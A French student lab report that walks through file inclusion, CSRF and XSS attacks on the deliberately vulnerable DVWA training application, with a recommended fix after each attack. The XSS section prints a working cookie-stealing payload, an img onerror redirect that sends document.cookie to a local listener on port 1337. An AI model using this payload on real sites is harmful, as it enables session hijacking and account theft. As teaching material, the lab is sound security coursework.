TP Attaques Sur DVWA

Télécharger au format pdf ou txt
Télécharger au format pdf ou txt
Vous êtes sur la page 1sur 14

Université Cadi Ayyad

Ecole Nationale des Sciences Appliquées-Safi


Département Informatique, Réseaux et Télécommunications
Filière : Génie Informatique et Intelligence Artificielle
Niveau : 4ème Année

INTRODUCTION À LA SÉCURITÉ DES RÉSEAUX ET


SYSTÈMES

TP : File inclusion , CSRF , Failles XSS

Réalisé par : Encadré par :


Aarab Marwane Prof. Manal ZETTAM

Bendaouia Hajar

Elhallaoui Youess

Lahlali Ibtissam

Année Universitaire : 2022/2023


I. File inclusion :
Les attaques d'inclusion de fichier peuvent constituer une menace importante pour les

applications web. Ce type d'attaque permet à un attaquant d'inclure et d'exécuter des

fichiers arbitraires sur le serveur web. Dans ce rapport, nous allons discuter de la

vulnérabilité d'inclusion de fichier (élevée) présente dans l'application Damn Vulnerable

Web Application (DVWA).

1. Description de la vulnérabilité:

La vulnérabilité d'inclusion de fichier (élevée) est présente dans l'application DVWA, qui

est une application web vulnérable conçue pour être exploitée à des fins de test. La

vulnérabilité permet à un attaquant d'inclure des fichiers arbitraires sur le serveur web.

2. Étapes pour reproduire:

Pour reproduire la vulnérabilité, suivez les étapes ci-dessous:

a. Démarrez l'application DVWA et accédez à la page d'inclusion de fichier.

2
b. Utilisez un proxy web BurpSuite pour intercepter la requête.

c. Modifiez le paramètre 'page' de la requête et définissez-le sur '../', ce qui indique à

l'application de passer au niveau de répertoire supérieur.

3
d. Soumettez la requête modifiée et observez la réponse.

e. La réponse affichera le contenu du fichier inclus.

3. Impact de la vulnérabilité:

La vulnérabilité d'inclusion de fichier (élevée) peut avoir un impact important sur la

sécurité de l'application. Un attaquant peut utiliser cette vulnérabilité pour exécuter du

code arbitraire sur le serveur web, voler des informations sensibles ou lancer d'autres

attaques contre l'application.

4. Correction:

Pour corriger la vulnérabilité, l'application doit mettre en œuvre une validation et une

désinfection appropriées des entrées fournies par l'utilisateur. L'application doit

également limiter l'accès aux fichiers et répertoires sensibles sur le serveur web.

4
Conclusion:

Les vulnérabilités d'inclusion de fichier sont une menace importante pour les

applications web. La vulnérabilité d'inclusion de fichier (élevée) présente dans DVWA

peut être exploitée pour exécuter du code arbitraire sur le serveur web, voler des

informations sensibles ou lancer d'autres attaques. Il est essentiel de mettre en œuvre

une validation et une désinfection appropriées des entrées fournies par l'utilisateur

pour prévenir de tells attaques.

5
II. Cross-Site Request Forgery (CSRF) :

La vulnérabilité de type Cross-Site Request Forgery (CSRF) est une faille de sécurité qui

permet à un attaquant de forcer un utilisateur à effectuer des actions non désirées sur

un site web, en utilisant des requêtes HTTP forgées. Cette faille peut avoir des

conséquences graves, comme la modification de données, l'ajout de nouveaux

utilisateurs ou l'exécution d'autres actions malveillantes.

1. Description de la vulnérabilité :

L'application web a été testée pour les vulnérabilités de type CSRF. Nous avons détecté

une vulnérabilité de niveau "low" qui permet à un attaquant de forger une requête

HTTP pour effectuer une action non désirée sur le site web. Cette vulnérabilité est due à

l'absence de protection contre les attaques CSRF.

2. Exploitation de la vulnérabilité :

Un attaquant peut exploiter cette vulnérabilité en créant un site web malveillant qui

contient un formulaire avec des champs masqués qui pointent vers une URL de

l'application web. Lorsque l'utilisateur visite le site web malveillant, le formulaire est

automatiquement soumis avec des valeurs préremplies, sans que l'utilisateur en soit

conscient.

6
3. Étapes pour reproduire la vulnérabilité :

a. Démarrez l'application DVWA et accédez à la page CSRF.

b. Ouvrir BurpSuite pour intercepter la requête.

7
c. Changer le mot de passe

d. Copier le lien dans un navigateur

8
e. Le mot de passe changé

4. Impact de la vulnérabilité :

Cette vulnérabilité peut permettre à un attaquant de modifier les données d'un

utilisateur sans son consentement, ce qui peut entraîner des conséquences graves pour

l'utilisateur et l'application web. Par exemple, l'attaquant peut modifier les informations

personnelles d'un utilisateur, ajouter de nouveaux utilisateurs, ou encore supprimer des

données importantes.

5. Recommandations :

Pour corriger cette vulnérabilité, il est recommandé de mettre en place une protection

CSRF qui génère un jeton unique pour chaque formulaire et vérifie si le jeton soumis

dans la requête correspond à celui généré pour le formulaire. Il est également

recommandé de valider et filtrer toutes les entrées utilisateur, de mettre en place une

authentification forte et de limiter les permissions d'accès aux données sensibles.

9
Conclusion :

En résumé, la vulnérabilité de type CSRF de niveau "low" détectée dans l'application

web peut permettre à un attaquant de forcer un utilisateur à effectuer des actions non

désirées sur le site web. Il est recommandé de corriger cette vulnérabilité en mettant en

place une protection CSRF et en suivant les recommandations de sécurité pour réduire

les risques d'attaques CSRF dans l'application web.

10
III. Failles XSS ( Cross-site Scripting ):

Est une vulnérabilité particulièrement répandue dans les applications web. Elle fait

partie de la catégorie des vulnérabilités par injection de code au même titre que

les injections SQL.

L’attaquant injecte du code malveillant via les paramètres d’entrée côté client. Ainsi,

il peut potentiellement réaliser toute action via le navigateur web d’une victime, par

exemple:le vol de cookies ou de jetons de session, l’altération de données ou de

contenus, l’exécution d’un malware, etc.

Il existe trois types d’attaques XSS: les attaques XSS stockées (stored XSS), les

attaques XSS reflétées (reflected XSS) et les attaques XSS basées sur le DOM

(DOM-based XSS).

XSS basées sur le DOM:

Ce type d’attaque est aussi appelé XXS local. En chargeant une de ces adresses

URL manipulées, un code malicieux est exécuté sans vérification grâce à une faille

présente dans un script côté client. Au contraire des XXS persistants et réfléchis, le

serveur Web n’a ici pas sa place dans le processus. Cette variante de script porte

également atteinte aux sites Web statiques, qui prennent ce langage de script en

charge.

Exemple : le script basé sur le DOM fonctionne comme les cross-site-scriptings

réfléchis : l’utilisateur ouvre un lien. Après avoir cliqué dessus, un script lit la valeur

d’argument de l’URL et exécute le code de script qu’il contient. C’est ainsi que les

cookies de session par exemple sont volés.


11
les étapes dans le mode LOW:

1. Création de serveur local en utilisant PYTHON qui écoute le port 1337 comme

suivant:

2. Ajout du code javascript malveillant à l’URL

<select><img src/onerror="window.location='http://127.0.0.1:1337/?cookie=' +

document.cookie">

12
3. Passage

Remarque: on a pu obtenir une session qu’on utilisera pour récupérer les

informations personnelles de l’utilisateur.

Les étapes dans le mode IMPOSSIBLE

Dans cette version Impossible, il y a une couche de sécurité qui sert à tester si

l’URL contient un code de javascript.

13
Comment se protéger des failles XSS ?

Autrement dit, comment empêcher l’exécution d’un code malveillant dans le

navigateur des utilisateurs ?

Pour prévenir les attaques XSS, il faut implémenter des mesures de protection pour

traiter toutes les données venant de l’extérieur.

Encoder (échapper) les données en entrée et en sortie:

Pour ce faire, il s’agit de remplacer les caractères spéciaux par des valeurs

encodées, de manière à ce que toute donnée saisie par un utilisateur soit

traitée (reçue et interprétée) comme du texte, plutôt que comme du code.

Il existe de nombreux types d’encodage qui peuvent être appliqués par

exemple l’encodage d’entités HTML

Filtrer les données reçues côté client

Cela signifie que l’ensemble des données doit passer par un filtre qui élimine les

caractères dangereux comme la balise <script>, les gestionnaires d’événements

HTML comme onActivate(), onClick(), les éléments JavaScript, etc.

Utiliser le standard CSP (Content Security Policy)

Mozilla a développé un mécanisme de sécurité connu sous le nom de Content

Security Policy (CSP). Ce standard de sécurité permet de contrôler (restreindre via

autorisation) les sources externes (autres sites web) de récupération de données.

14

Vous aimerez peut-être aussi